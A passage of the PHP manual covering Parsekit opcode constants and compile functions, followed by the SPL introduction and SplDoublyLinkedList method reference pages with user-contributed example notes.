Opcode
PARSEKIT_ZEND_IS_EQUAL (int)
Opcode
PARSEKIT_ZEND_IS_IDENTICAL (int)
Opcode
PARSEKIT_ZEND_IS_NOT_EQUAL (int)
Opcode
PARSEKIT_ZEND_IS_NOT_IDENTICAL (int)
Opcode
PARSEKIT_ZEND_IS_SMALLER (int)
Opcode
PARSEKIT_ZEND_IS_SMALLER_OR_EQUAL (int)
Opcode
PARSEKIT_ZEND_JMP (int)
Opcode
PARSEKIT_ZEND_JMPNZ (int)
Opcode
PARSEKIT_ZEND_JMPNZ_EX (int)
Opcode
PARSEKIT_ZEND_JMPZ (int)
Opcode
PARSEKIT_ZEND_JMPZNZ (int)
Opcode
PARSEKIT_ZEND_JMPZ_EX (int)
Opcode
PARSEKIT_ZEND_JMP_NO_CTOR (int)
Opcode
PARSEKIT_ZEND_MOD (int)
Opcode
PARSEKIT_ZEND_MUL (int)
Opcode
PARSEKIT_ZEND_NEW (int)
Opcode
PARSEKIT_ZEND_NOP (int)
Opcode
PARSEKIT_ZEND_OP_DATA (int) PHP >= 5.0.0
Opcode
PARSEKIT_ZEND_POST_DEC (int)
Opcode
PARSEKIT_ZEND_POST_DEC_OBJ (int) PHP >= 5.0.0
Opcode
PARSEKIT_ZEND_POST_INC (int)
Opcode
PARSEKIT_ZEND_POST_INC_OBJ (int) PHP >= 5.0.0
Opcode
PARSEKIT_ZEND_PRE_DEC (int)
Opcode
PARSEKIT_ZEND_PRE_DEC_OBJ (int) PHP >= 5.0.0
Opcode
PARSEKIT_ZEND_PRE_INC (int)
Opcode
PARSEKIT_ZEND_PRE_INC_OBJ (int) PHP >= 5.0.0
Opcode
PARSEKIT_ZEND_PRINT (int)
Opcode
PARSEKIT_ZEND_QM_ASSIGN (int)
Opcode
PARSEKIT_ZEND_RAISE_ABSTRACT_ERROR (int) PHP >= 5.0.0
Opcode
PARSEKIT_ZEND_RECV (int)
Opcode
PARSEKIT_ZEND_RECV_INIT (int)
Opcode
PARSEKIT_ZEND_RETURN (int)
Opcode
PARSEKIT_ZEND_SEND_REF (int)
Opcode
PARSEKIT_ZEND_SEND_VAL (int)
Opcode
PARSEKIT_ZEND_SEND_VAR (int)
Opcode
PARSEKIT_ZEND_SEND_VAR_NO_REF (int)
Opcode
PARSEKIT_ZEND_SL (int)
Opcode
PARSEKIT_ZEND_SR (int)
Opcode
PARSEKIT_ZEND_SUB (int)
Opcode
PARSEKIT_ZEND_SWITCH_FREE (int)
Opcode
PARSEKIT_ZEND_THROW (int) PHP >= 5.0.0
Opcode
PARSEKIT_ZEND_TICKS (int)
Opcode
PARSEKIT_ZEND_UNSET_DIM_OBJ (int)
Opcode
PARSEKIT_ZEND_UNSET_VAR (int)
Opcode
PARSEKIT_ZEND_VERIFY_ABSTRACT_CLASS (int) PHP >= 5.0.0
Opcode

User Contributed Notes

There are no user contributed notes for this page.


Parsekit Functions

Table of Contents

  • parsekit_compile_file — Compile a PHP file and return the resulting op array
  • parsekit_compile_string — Compile a string of PHP code and return the resulting op array
  • parsekit_func_arginfo — Return information regarding function argument(s)

User Contributed Notes

There are no user contributed notes for this page.


Compile a PHP file and return the resulting op array

  • « Parsekit Functions
  • parsekit_compile_string »
  • PHP Manual
  • Parsekit Functions
  • Compile a PHP file and return the resulting op array

parsekit_compile_file

(PECL parsekit >= 0.2.0)

parsekit_compile_file — Compile a PHP file and return the resulting op array

Description

array parsekit_compile_file ( string $filename [, array &$errors [, int $options = PARSEKIT_QUIET ]] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

filename

A string containing the name of the file to compile. Similar to the argument to include.

errors

A 2D hash of errors (including fatal errors) encountered during compilation. Returned by reference.

options

One of either PARSEKIT_QUIET or PARSEKIT_SIMPLE. To produce varying degrees of verbosity in the returned output.

Return Values

Returns a complex multi-layer array structure as detailed below.

Examples

Example #1 parsekit_compile_file() example

<?php
var_dump(parsekit_compile_file('hello_world.php', $errors, PARSEKIT_SIMPLE));
?>

The above example will output:

array(5) {
  [0]=>
  string(37) "ZEND_ECHO UNUSED 'Hello World' UNUSED"
  [1]=>
  string(30) "ZEND_RETURN UNUSED NULL UNUSED"
  [2]=>
  string(42) "ZEND_HANDLE_EXCEPTION UNUSED UNUSED UNUSED"
  ["function_table"]=>
  NULL
  ["class_table"]=>
  NULL
}

See Also

  • parsekit_compile_string() - Compile a string of PHP code and return the resulting op array

User Contributed Notes

There are no user contributed notes for this page.


Compile a string of PHP code and return the resulting op array

  • « parsekit_compile_file
  • parsekit_func_arginfo »
  • PHP Manual
  • Parsekit Functions
  • Compile a string of PHP code and return the resulting op array

parsekit_compile_string

(PECL parsekit >= 0.2.0)

parsekit_compile_string — Compile a string of PHP code and return the resulting op array

Description

array parsekit_compile_string ( string $phpcode [, array &$errors [, int $options = PARSEKIT_QUIET ]] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

phpcode

A string containing phpcode. Similar to the argument to eval().

errors

A 2D hash of errors (including fatal errors) encountered during compilation. Returned by reference.

options

One of either PARSEKIT_QUIET or PARSEKIT_SIMPLE. To produce varying degrees of verbosity in the returned output.

Return Values

Returns a complex multi-layer array structure as detailed below.

Examples

Example #1 parsekit_compile_string() example

<?php
  $ops = parsekit_compile_string('
echo "Foo\n";
', $errors, PARSEKIT_QUIET);

  var_dump($ops);
?>

The above example will output:

array(20) {
  ["type"]=>
  int(4)
  ["type_name"]=>
  string(14) "ZEND_EVAL_CODE"
  ["fn_flags"]=>
  int(0)
  ["num_args"]=>
  int(0)
  ["required_num_args"]=>
  int(0)
  ["pass_rest_by_reference"]=>
  bool(false)
  ["uses_this"]=>
  bool(false)
  ["line_start"]=>
  int(0)
  ["line_end"]=>
  int(0)
  ["return_reference"]=>
  bool(false)
  ["refcount"]=>
  int(1)
  ["last"]=>
  int(3)
  ["size"]=>
  int(3)
  ["T"]=>
  int(0)
  ["last_brk_cont"]=>
  int(0)
  ["current_brk_cont"]=>
  int(-1)
  ["backpatch_count"]=>
  int(0)
  ["done_pass_two"]=>
  bool(true)
  ["filename"]=>
  string(17) "Parsekit Compiler"
  ["opcodes"]=>
  array(3) {
    [8594800]=>
    array(5) {
      ["opcode"]=>
      int(40)
      ["opcode_name"]=>
      string(9) "ZEND_ECHO"
      ["flags"]=>
      int(768)
      ["op1"]=>
      array(3) {
        ["type"]=>
        int(1)
        ["type_name"]=>
        string(8) "IS_CONST"
        ["constant"]=>
        &string(4) "Foo
"
      }
      ["lineno"]=>
      int(2)
    }
    ["859484C"]=>
    array(6) {
      ["opcode"]=>
      int(62)
      ["opcode_name"]=>
      string(11) "ZEND_RETURN"
      ["flags"]=>
      int(16777984)
      ["op1"]=>
      array(3) {
        ["type"]=>
        int(1)
        ["type_name"]=>
        string(8) "IS_CONST"
        ["constant"]=>
        &NULL
      }
      ["extended_value"]=>
      int(0)
      ["lineno"]=>
      int(3)
    }
    [8594898]=>
    array(4) {
      ["opcode"]=>
      int(149)
      ["opcode_name"]=>
      string(21) "ZEND_HANDLE_EXCEPTION"
      ["flags"]=>
      int(0)
      ["lineno"]=>
      int(3)
    }
  }
}

See Also

  • parsekit_compile_file() - Compile a PHP file and return the resulting op array

User Contributed Notes

There are no user contributed notes for this page.


Return information regarding function argument(s)

  • « parsekit_compile_string
  • SPL »
  • PHP Manual
  • Parsekit Functions
  • Return information regarding function argument(s)

parsekit_func_arginfo

(PECL parsekit >= 0.3.0)

parsekit_func_arginfo — Return information regarding function argument(s)

Description

array parsekit_func_arginfo ( mixed $function )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

function

A string describing a function, or an array describing a class/method.

Return Values

Returns an array containing argument information.

Examples

Example #1 parsekit_func_arginfo() example

<?php
function foo($bar, stdClass $baz, &$bomb, $bling = false) {
}

var_dump(parsekit_func_arginfo('foo'));
?>

The above example will output:

array(4) {
  [0]=>
  array(3) {
    ["name"]=>
    string(3) "bar"
    ["allow_null"]=>
    bool(true)
    ["pass_by_reference"]=>
    bool(false)
  }
  [1]=>
  array(4) {
    ["name"]=>
    string(3) "baz"
    ["class_name"]=>
    string(8) "stdClass"
    ["allow_null"]=>
    bool(false)
    ["pass_by_reference"]=>
    bool(false)
  }
  [2]=>
  array(3) {
    ["name"]=>
    string(4) "bomb"
    ["allow_null"]=>
    bool(true)
    ["pass_by_reference"]=>
    bool(true)
  }
  [3]=>
  array(3) {
    ["name"]=>
    string(5) "bling"
    ["allow_null"]=>
    bool(true)
    ["pass_by_reference"]=>
    bool(false)
  }
}

User Contributed Notes

fantasysportswire at yahoo dot com 04-Mar-2007 08:03
Should be noted that this is for user defined functions only.  Not internal (extension or otherwise).


Standard PHP Library (SPL)

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Datastructures
    • SplDoublyLinkedList — The SplDoublyLinkedList class
    • SplStack — The SplStack class
    • SplQueue — The SplQueue class
    • SplHeap — The SplHeap class
    • SplMaxHeap — The SplMaxHeap class
    • SplMinHeap — The SplMinHeap class
    • SplPriorityQueue — The SplPriorityQueue class
    • SplFixedArray — The SplFixedArray class
    • SplObjectStorage — The SplObjectStorage class
  • Iterators
    • AppendIterator — The AppendIterator class
    • ArrayIterator — The ArrayIterator class
    • CachingIterator — The CachingIterator class
    • CallbackFilterIterator — The CallbackFilterIterator class
    • DirectoryIterator — The DirectoryIterator class
    • EmptyIterator — The EmptyIterator class
    • FilesystemIterator — The FilesystemIterator class
    • FilterIterator — The FilterIterator class
    • GlobIterator — The GlobIterator class
    • InfiniteIterator — The InfiniteIterator class
    • IteratorIterator — The IteratorIterator class
    • LimitIterator — The LimitIterator class
    • MultipleIterator — The MultipleIterator class
    • NoRewindIterator — The NoRewindIterator class
    • ParentIterator — The ParentIterator class
    • RecursiveArrayIterator — The RecursiveArrayIterator class
    • RecursiveCachingIterator — The RecursiveCachingIterator class
    • RecursiveCallbackFilterIterator — The RecursiveCallbackFilterIterator class
    • RecursiveDirectoryIterator — The RecursiveDirectoryIterator class
    • RecursiveFilterIterator — The RecursiveFilterIterator class
    • RecursiveIteratorIterator — The RecursiveIteratorIterator class
    • RecursiveRegexIterator — The RecursiveRegexIterator class
    • RecursiveTreeIterator — The RecursiveTreeIterator class
    • RegexIterator — The RegexIterator class
  • Interfaces
    • Countable — The Countable interface
    • OuterIterator — The OuterIterator interface
    • RecursiveIterator — The RecursiveIterator interface
    • SeekableIterator — The SeekableIterator interface
  • Exceptions
    • BadFunctionCallException — The BadFunctionCallException class
    • BadMethodCallException — The BadMethodCallException class
    • DomainException — The DomainException class
    • InvalidArgumentException — The InvalidArgumentException class
    • LengthException — The LengthException class
    • LogicException — The LogicException class
    • OutOfBoundsException — The OutOfBoundsException class
    • OutOfRangeException — The OutOfRangeException class
    • OverflowException — The OverflowException class
    • RangeException — The RangeException class
    • RuntimeException — The RuntimeException class
    • UnderflowException — The UnderflowException class
    • UnexpectedValueException — The UnexpectedValueException class
  • SPL Functions
    • class_implements — Return the interfaces which are implemented by the given class
    • class_parents — Return the parent classes of the given class
    • class_uses — Return the traits used by the given class
    • iterator_apply — Call a function for every element in an iterator
    • iterator_count — Count the elements in an iterator
    • iterator_to_array — Copy the iterator into an array
    • spl_autoload_call — Try all registered __autoload() function to load the requested class
    • spl_autoload_extensions — Register and return default file extensions for spl_autoload
    • spl_autoload_functions — Return all registered __autoload() functions
    • spl_autoload_register — Register given function as __autoload() implementation
    • spl_autoload_unregister — Unregister given function as __autoload() implementation
    • spl_autoload — Default implementation for __autoload()
    • spl_classes — Return available SPL classes
    • spl_object_hash — Return hash id for given object
  • File Handling
    • SplFileInfo — The SplFileInfo class
    • SplFileObject — The SplFileObject class
    • SplTempFileObject — The SplTempFileObject class
  • Miscellaneous Classes and Interfaces
    • ArrayObject — The ArrayObject class
    • SplObserver — The SplObserver interface
    • SplSubject — The SplSubject interface

User Contributed Notes

There are no user contributed notes for this page.


Introduction

The Standard PHP Library (SPL) is a collection of interfaces and classes that are meant to solve common problems.

User Contributed Notes

Mefi (zokni at mefi dot be) 24-Feb-2014 09:25
SPL is a collection of classes and interfaces providing an API for built-in PHP functions, allowing developers to write  fully object oriented code with standard tools, using PHP in a
much more elegant way.
Anonymous 16-May-2012 05:38
SPL provides a standard set of interfaces for PHP5. The aim of SPL is to implement some efficient data access interfaces and classes for PHP. Functionally it is designed to traverse aggregate structures (anything you want to loop over). These may include arrays, database result sets, xml trees, directory listings or any list at all. Currently SPL deals with Iterators.


Installation

This extension is available and compiled by default in PHP 5.0.0.

Note:

As of PHP 5.3.0 this extension can no longer be disabled and is therefore always available.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

Warning

SPL uses class constants since PHP 5.1. Prior releases use global constants in the form RIT_LEAVES_ONLY.

User Contributed Notes

There are no user contributed notes for this page.


Datastructures

Table of Contents

  • SplDoublyLinkedList
  • SplStack
  • SplQueue
  • SplHeap
  • SplMaxHeap
  • SplMinHeap
  • SplPriorityQueue
  • SplFixedArray
  • SplObjectStorage

SPL provides a set of standard datastructures. They are grouped here by their underlying implementation which usually defines their general field of application.

Doubly Linked Lists

A Doubly Linked List (DLL) is a list of nodes linked in both directions to each others. Iterator's operations, access to both ends, addition or removal of nodes have a cost of O(1) when the underlying structure is a DLL. It hence provides a decent implementation for stacks and queues.

  • SplDoublyLinkedList
    • SplStack
    • SplQueue

Heaps

Heaps are tree-like structures that follow the heap-property: each node is greater than or equal to its children, when compared using the implemented compare method which is global to the heap.

  • SplHeap
    • SplMaxHeap
    • SplMinHeap
  • SplPriorityQueue

Arrays

Arrays are structures that store the data in a continuous way, accessible via indexes. Don't confuse them with PHP arrays: PHP arrays are in fact implemented as ordered hashtables.

  • SplFixedArray

Map

A map is a datastructure holding key-value pairs. PHP arrays can be seen as maps from integers/strings to values. SPL provides a map from objects to data. This map can also be used as an object set.

  • SplObjectStorage

User Contributed Notes

There are no user contributed notes for this page.


The SplDoublyLinkedList class

(PHP 5 >= 5.3.0)

Introduction

The SplDoublyLinkedList class provides the main functionalities of a doubly linked list.

Class synopsis

SplDoublyLinkedList implements Iterator , ArrayAccess , Countable {
/* Methods */
public __construct ( void )
public void add ( mixed $index , mixed $newval )
public mixed bottom ( void )
public int count ( void )
public mixed current ( void )
public int getIteratorMode ( void )
public bool isEmpty ( void )
public mixed key ( void )
public void next ( void )
public bool offsetExists ( mixed $index )
public mixed offsetGet ( mixed $index )
public void offsetSet ( mixed $index , mixed $newval )
public void offsetUnset ( mixed $index )
public mixed pop ( void )
public void prev ( void )
public void push ( mixed $value )
public void rewind ( void )
public string serialize ( void )
public void setIteratorMode ( int $mode )
public mixed shift ( void )
public mixed top ( void )
public void unserialize ( string $serialized )
public void unshift ( mixed $value )
public bool valid ( void )
}

Table of Contents

  • SplDoublyLinkedList::add — Add/insert a new value at the specified index
  • SplDoublyLinkedList::bottom — Peeks at the node from the beginning of the doubly linked list
  • SplDoublyLinkedList::__construct — Constructs a new doubly linked list
  • SplDoublyLinkedList::count — Counts the number of elements in the doubly linked list.
  • SplDoublyLinkedList::current — Return current array entry
  • SplDoublyLinkedList::getIteratorMode — Returns the mode of iteration
  • SplDoublyLinkedList::isEmpty — Checks whether the doubly linked list is empty.
  • SplDoublyLinkedList::key — Return current node index
  • SplDoublyLinkedList::next — Move to next entry
  • SplDoublyLinkedList::offsetExists — Returns whether the requested $index exists
  • SplDoublyLinkedList::offsetGet — Returns the value at the specified $index
  • SplDoublyLinkedList::offsetSet — Sets the value at the specified $index to $newval
  • SplDoublyLinkedList::offsetUnset — Unsets the value at the specified $index
  • SplDoublyLinkedList::pop — Pops a node from the end of the doubly linked list
  • SplDoublyLinkedList::prev — Move to previous entry
  • SplDoublyLinkedList::push — Pushes an element at the end of the doubly linked list
  • SplDoublyLinkedList::rewind — Rewind iterator back to the start
  • SplDoublyLinkedList::serialize — Serializes the storage
  • SplDoublyLinkedList::setIteratorMode — Sets the mode of iteration
  • SplDoublyLinkedList::shift — Shifts a node from the beginning of the doubly linked list
  • SplDoublyLinkedList::top — Peeks at the node from the end of the doubly linked list
  • SplDoublyLinkedList::unserialize — Unserializes the storage
  • SplDoublyLinkedList::unshift — Prepends the doubly linked list with an element
  • SplDoublyLinkedList::valid — Check whether the doubly linked list contains more nodes

User Contributed Notes

Gilles A 09-Aug-2013 09:19
FIFO and LIFO in SplDoublyLinkedList

$list = new SplDoublyLinkedList();
$list->push('a');
$list->push('b');
$list->push('c');
$list->push('d');

echo "FIFO (First In First Out) :\n";
$list->setIteratorMode(SplDoublyLinkedList::IT_MODE_FIFO);
for ($list->rewind(); $list->valid(); $list->next()) {
    echo $list->current()."\n";
}

Result :

// FIFO (First In First Out):
// a
// b
// c
// d

echo "LIFO (Last In First Out) :\n";
$list->setIteratorMode(SplDoublyLinkedList::IT_MODE_LIFO);
for ($list->rewind(); $list->valid(); $list->next()) {
    echo $list->current()."\n";
}

Result :

// LIFO (Last In First Out):
// d
// c
// b
// a


Add/insert a new value at the specified index

  • « SplDoublyLinkedList
  • SplDoublyLinkedList::bottom »
  • PHP Manual
  • SplDoublyLinkedList
  • Add/insert a new value at the specified index

SplDoublyLinkedList::add

(PHP 5 >= 5.5.0)

SplDoublyLinkedList::add — Add/insert a new value at the specified index

Description

public void SplDoublyLinkedList::add ( mixed $index , mixed $newval )

Insert the value newval at the specified index, shuffling the previous value at that index (and all subsequent values) up through the list.

Parameters

index

The index where the new value is to be inserted.

newval

The new value for the index.

Return Values

No value is returned.

Errors/Exceptions

Throws OutOfRangeException when index is out of bounds or when index cannot be parsed as an integer.

User Contributed Notes

There are no user contributed notes for this page.


Peeks at the node from the beginning of the doubly linked list

  • « SplDoublyLinkedList::add
  • SplDoublyLinkedList::__construct »
  • PHP Manual
  • SplDoublyLinkedList
  • Peeks at the node from the beginning of the doubly linked list

SplDoublyLinkedList::bottom

(PHP 5 >= 5.3.0)

SplDoublyLinkedList::bottom — Peeks at the node from the beginning of the doubly linked list

Description

public mixed SplDoublyLinkedList::bottom ( void )

Parameters

This function has no parameters.

Return Values

The value of the first node.

Errors/Exceptions

Throws RuntimeException when the data-structure is empty.

User Contributed Notes

tstirrat at gmail dot com 28-Apr-2014 07:27
A note on top() and bottom():

Picture the doubly-linked list (or queue) in the same way that you would a stack.

Say you started with an empty queue, and added five values:

$myList = new SplDoublyLinkedList

$mylist->push(1)
$mylist->push(2)
$mylist->push(3)
$mylist->push(4)
$mylist->push(5)

$mylist->top()
-> 5

$mylist->bottom()
-> 1
rakesh dot mishra at gmail dot com 27-Jan-2011 07:39
<?php

/*
 * Examples of DoublyLinkedList
 */

$obj = new SplDoublyLinkedList();

// Check wither linked list is empty
if ($obj->isEmpty())
{
    echo "Adding nodes to Linked List<br>";
    $obj->push(2);
    $obj->push(3);

    echo "Adding the node at beginning of doubly linked list <br>";
    $obj->unshift(10);
}

echo "<br>Our Linked List:";
print_r($obj);

echo "<br>Pick the node from beginning of doubly linked list";
echo $obj->bottom();

?>


Constructs a new doubly linked list

  • « SplDoublyLinkedList::bottom
  • SplDoublyLinkedList::count »
  • PHP Manual
  • SplDoublyLinkedList
  • Constructs a new doubly linked list

SplDoublyLinkedList::__construct

(PHP 5 >= 5.3.0)

SplDoublyLinkedList::__construct — Constructs a new doubly linked list

Description

public SplDoublyLinkedList::__construct ( void )

This constructs a new empty doubly linked list.

Parameters

This function has no parameters.

Return Values

No value is returned.

Examples

Example #1 SplDoublyLinkedList::__construct() example

<?php
$dll = new SplDoublyLinkedList();

$dll->push(2);
$dll->push(3);
$dll->unshift(5);

var_dump($dll);
?>

The above example will output:

object(SplDoublyLinkedList)#1 (2) {
  ["flags":"SplDoublyLinkedList":private]=>
  int(0)
  ["dllist":"SplDoublyLinkedList":private]=>
  array(3) {
    [0]=>
    int(5)
    [1]=>
    int(2)
    [2]=>
    int(3)
  }
}

User Contributed Notes

There are no user contributed notes for this page.


Counts the number of elements in the doubly linked list.

  • « SplDoublyLinkedList::__construct
  • SplDoublyLinkedList::current »
  • PHP Manual
  • SplDoublyLinkedList
  • Counts the number of elements in the doubly linked list.

SplDoublyLinkedList::count

(PHP 5 >= 5.3.0)

SplDoublyLinkedList::count — Counts the number of elements in the doubly linked list.

Description

public int SplDoublyLinkedList::count ( void )

Parameters

This function has no parameters.

Return Values

Returns the number of elements in the doubly linked list.

User Contributed Notes

There are no user contributed notes for this page.


Return current array entry

  • « SplDoublyLinkedList::count
  • SplDoublyLinkedList::getIteratorMode »
  • PHP Manual
  • SplDoublyLinkedList
  • Return current array entry

SplDoublyLinkedList::current

(PHP 5 >= 5.3.0)

SplDoublyLinkedList::current — Return current array entry

Description

public mixed SplDoublyLinkedList::current ( void )

Get the current doubly linked list node.

Parameters

This function has no parameters.

Return Values

The current node value.

User Contributed Notes

rakesh dot mishra at gmail dot com 27-Jan-2011 08:18
<?php

/*
 * Examples of DoublyLinkedList
 */

$obj = new SplDoublyLinkedList();
// Check wither linked list is empty
if ($obj->isEmpty())
{
    echo "Adding nodes to Linked List<br>";
    $obj->push(2);
    $obj->push(3);
    echo "Adding the node at beginning of doubly linked list <br>";
    $obj->unshift(10);
}

echo "<br>Our Linked List:";
print_r($obj);

$curr = $obj->current(); // this will return NULL as we have not set initial node.

echo "<br> Rewinding the position so that current node points to first node ";
$obj->rewind();

echo "<br>Current node of the linked list:";
echo  $obj->current(); // this will print first node of the linked list.

echo "<br>Moving to Next node:";
$obj->next();

echo "<br>Printing the next node:";
echo $obj->current();

?>


Returns the mode of iteration

  • « SplDoublyLinkedList::current
  • SplDoublyLinkedList::isEmpty »
  • PHP Manual
  • SplDoublyLinkedList
  • Returns the mode of iteration

SplDoublyLinkedList::getIteratorMode

(PHP 5 >= 5.3.0)

SplDoublyLinkedList::getIteratorMode — Returns the mode of iteration

Description

public int SplDoublyLinkedList::getIteratorMode ( void )

Parameters

This function has no parameters.

Return Values

Returns the different modes and flags that affect the iteration.

User Contributed Notes

gregorypatmore at gmail dot com 11-Dec-2011 07:32
I think it should be noted that the IT_MODE_* constants are defined inside the class as:

IT_MODE_LIFO => int(2)
IT_MODE_FIFO => int(0)
IT_MODE_DELETE => int(1)
IT_MODE_KEEP => int(0)

With the FIFO and KEEP flags both defined as zero, you can run into an ambiguity when trying to discern what modes have been activated when trying to use bitwise deduction as one might be lead to believe considering the bitwise way you set the iterator mode (at least in v5.3.5, haven't tested any others).

Consider this example:

<?php

$l = new SPLDoublyLinkedList();
$l->setIteratorMode(SplDoublyLinkedList::IT_MODE_FIFO | SplDoublyLinkedList::IT_MODE_DELETE);

$mode = $l->getIteratorMode(); #int(1)

var_dump(($mode & SplDoublyLinkedList::IT_MODE_FIFO) == SplDoublyLinkedList::IT_MODE_FIFO); #outputs true
var_dump(($mode & SplDoublyLinkedList::IT_MODE_LIFO) == SplDoublyLinkedList::IT_MODE_LIFO); #outputs false
var_dump(($mode & SplDoublyLinkedList::IT_MODE_DELETE) == SplDoublyLinkedList::IT_MODE_DELETE); #outputs true
var_dump(($mode & SplDoublyLinkedList::IT_MODE_KEEP) == SplDoublyLinkedList::IT_MODE_KEEP); #outputs true (huh?!)

?>

Regardless of whatever the getIteratorMode tells you, the object DOES correctly honor the configuration that was set as far as I can tell.

The way you SHOULD do it (at least until they add any more options):

Basically, you should just check the non-zero flags (LIFO(2) and DELETE(1)).  Since it's an either/or situation within the pairs, this should be able to help you figure out the separate mode pieces an instance has been set to.

example:

<?php
$l = new SPLDoublyLinkedList();
$l->setIteratorMode(SplDoublyLinkedList::IT_MODE_FIFO | SplDoublyLinkedList::IT_MODE_DELETE);

$mode = $l->getIteratorMode();

$isLIFO = ($mode & SplDoublyLinkedList::IT_MODE_LIFO) == SplDoublyLinkedList::IT_MODE_LIFO;

$isDELETE = ($mode & SplDoublyLinkedList::IT_MODE_DELETE) == SplDoublyLinkedList::IT_MODE_DELETE;
?>

Hope this can help someone.


Checks whether the doubly linked list is empty.

  • « SplDoublyLinkedList::getIteratorMode
  • SplDoublyLinkedList::key »
  • PHP Manual
  • SplDoublyLinkedList
  • Checks whether the doubly linked list is empty.

SplDoublyLinkedList::isEmpty

(PHP 5 >= 5.3.0)

SplDoublyLinkedList::isEmpty — Checks whether the doubly linked list is empty.

Description

public bool SplDoublyLinkedList::isEmpty ( void )

Parameters

This function has no parameters.

Return Values

Returns whether the doubly linked list is empty.

User Contributed Notes

There are no user contributed notes for this page.


Return current node index

  • « SplDoublyLinkedList::isEmpty
  • SplDoublyLinkedList::next »
  • PHP Manual
  • SplDoublyLinkedList
  • Return current node index

SplDoublyLinkedList::key

(PHP 5 >= 5.3.0)

SplDoublyLinkedList::key — Return current node index

Description

public mixed SplDoublyLinkedList::key ( void )

This function returns the current node index

Parameters

This function has no parameters.

Return Values

The current node index.

User Contributed Notes

There are no user contributed notes for this page.


Move to next entry

  • « SplDoublyLinkedList::key
  • SplDoublyLinkedList::offsetExists »
  • PHP Manual
  • SplDoublyLinkedList
  • Move to next entry

SplDoublyLinkedList::next

(PHP 5 >= 5.3.0)

SplDoublyLinkedList::next — Move to next entry

Description

public void SplDoublyLinkedList::next ( void )

Move the iterator to the next node.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

Anonymous 18-Feb-2014 07:44
$dll = new SplDoublyLinkedList();

$dll->push(2);
$dll->push(3);
$dll->unshift(5);
$dll->rewind();

while($dll->valid()){
    echo $dll->current().'<br />';
    $dll->next();//switch to next list item
}


Returns whether the requested $index exists

  • « SplDoublyLinkedList::next
  • SplDoublyLinkedList::offsetGet »
  • PHP Manual
  • SplDoublyLinkedList
  • Returns whether the requested $index exists

SplDoublyLinkedList::offsetExists

(PHP 5 >= 5.3.0)

SplDoublyLinkedList::offsetExists — Returns whether the requested $index exists

Description

public bool SplDoublyLinkedList::offsetExists ( mixed $index )

Parameters

index

The index being checked.

Return Values

TRUE if the requested index exists, otherwise FALSE

User Contributed Notes

There are no user contributed notes for this page.


Returns the value at the specified $index

  • « SplDoublyLinkedList::offsetExists
  • SplDoublyLinkedList::offsetSet »
  • PHP Manual
  • SplDoublyLinkedList
  • Returns the value at the specified $index

SplDoublyLinkedList::offsetGet

(PHP 5 >= 5.3.0)

SplDoublyLinkedList::offsetGet — Returns the value at the specified $index

Description

public mixed SplDoublyLinkedList::offsetGet ( mixed $index )

Parameters

index

The index with the value.

Return Values

The value at the specified index.

Errors/Exceptions

Throws OutOfRangeException when index is out of bounds or when index cannot be parsed as an integer.

User Contributed Notes

There are no user contributed notes for this page.


Sets the value at the specified $index to $newval

  • « SplDoublyLinkedList::offsetGet
  • SplDoublyLinkedList::offsetUnset »
  • PHP Manual
  • SplDoublyLinkedList
  • Sets the value at the specified $index to $newval

SplDoublyLinkedList::offsetSet

(PHP 5 >= 5.3.0)

SplDoublyLinkedList::offsetSet — Sets the value at the specified $index to $newval

Description

public void SplDoublyLinkedList::offsetSet ( mixed $index , mixed $newval )

Sets the value at the specified index to newval.

Parameters

index

The index being set.

newval

The new value for the index.

Return Values

No value is returned.

Errors/Exceptions

Throws OutOfRangeException when index is out of bounds or when index cannot be parsed as an integer.

User Contributed Notes

There are no user contributed notes for this page.


Unsets the value at the specified $index

  • « SplDoublyLinkedList::offsetSet
  • SplDoublyLinkedList::pop »
  • PHP Manual
  • SplDoublyLinkedList
  • Unsets the value at the specified $index

SplDoublyLinkedList::offsetUnset

(PHP 5 >= 5.3.0)

SplDoublyLinkedList::offsetUnset — Unsets the value at the specified $index

Description

public void SplDoublyLinkedList::offsetUnset ( mixed $index )

Unsets the value at the specified index.

Parameters

index

The index being unset.

Return Values

No value is returned.

Errors/Exceptions

Throws OutOfRangeException when index is out of bounds or when index cannot be parsed as an integer.

User Contributed Notes

marco dot paulo dot lopes at gmail dot com 31-May-2011 02:40
When unsetting an offset, the element will be removed from the double linked list. So the following code:

<?php

$obj = new SplDoublyLinkedList();

$obj->push(4);
$obj->push(5);
$obj->push(6);

$obj->offsetUnset(1);
echo "Our Linked List:";
print_r($obj);

?>

Will output:

Our Linked List:SplDoublyLinkedList Object
(
    [flags:SplDoublyLinkedList:private] => 0
    [dllist:SplDoublyLinkedList:private] => Array
        (
            [0] => 4
            [1] => 5
            [2] => 6
        )

)
Our New Linked List:SplDoublyLinkedList Object
(
    [flags:SplDoublyLinkedList:private] => 0
    [dllist:SplDoublyLinkedList:private] => Array
        (
            [0] => 4
            [1] => 6
        )

Notice that the element with the index 2 has now the index 1. The original element with index 1 did not only had it's value unset but was also removed from the list.


Pops a node from the end of the doubly linked list

  • « SplDoublyLinkedList::offsetUnset
  • SplDoublyLinkedList::prev »
  • PHP Manual
  • SplDoublyLinkedList
  • Pops a node from the end of the doubly linked list

SplDoublyLinkedList::pop

(PHP 5 >= 5.3.0)

SplDoublyLinkedList::pop — Pops a node from the end of the doubly linked list

Description

public mixed SplDoublyLinkedList::pop ( void )

Parameters

This function has no parameters.

Return Values

The value of the popped node.

Errors/Exceptions

Throws RuntimeException when the data-structure is empty.

User Contributed Notes

There are no user contributed notes for this page.


Move to previous entry

  • « SplDoublyLinkedList::pop
  • SplDoublyLinkedList::push »
  • PHP Manual
  • SplDoublyLinkedList
  • Move to previous entry

SplDoublyLinkedList::prev

(PHP 5 >= 5.3.0)

SplDoublyLinkedList::prev — Move to previous entry

Description

public void SplDoublyLinkedList::prev ( void )

Move the iterator to the previous node.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

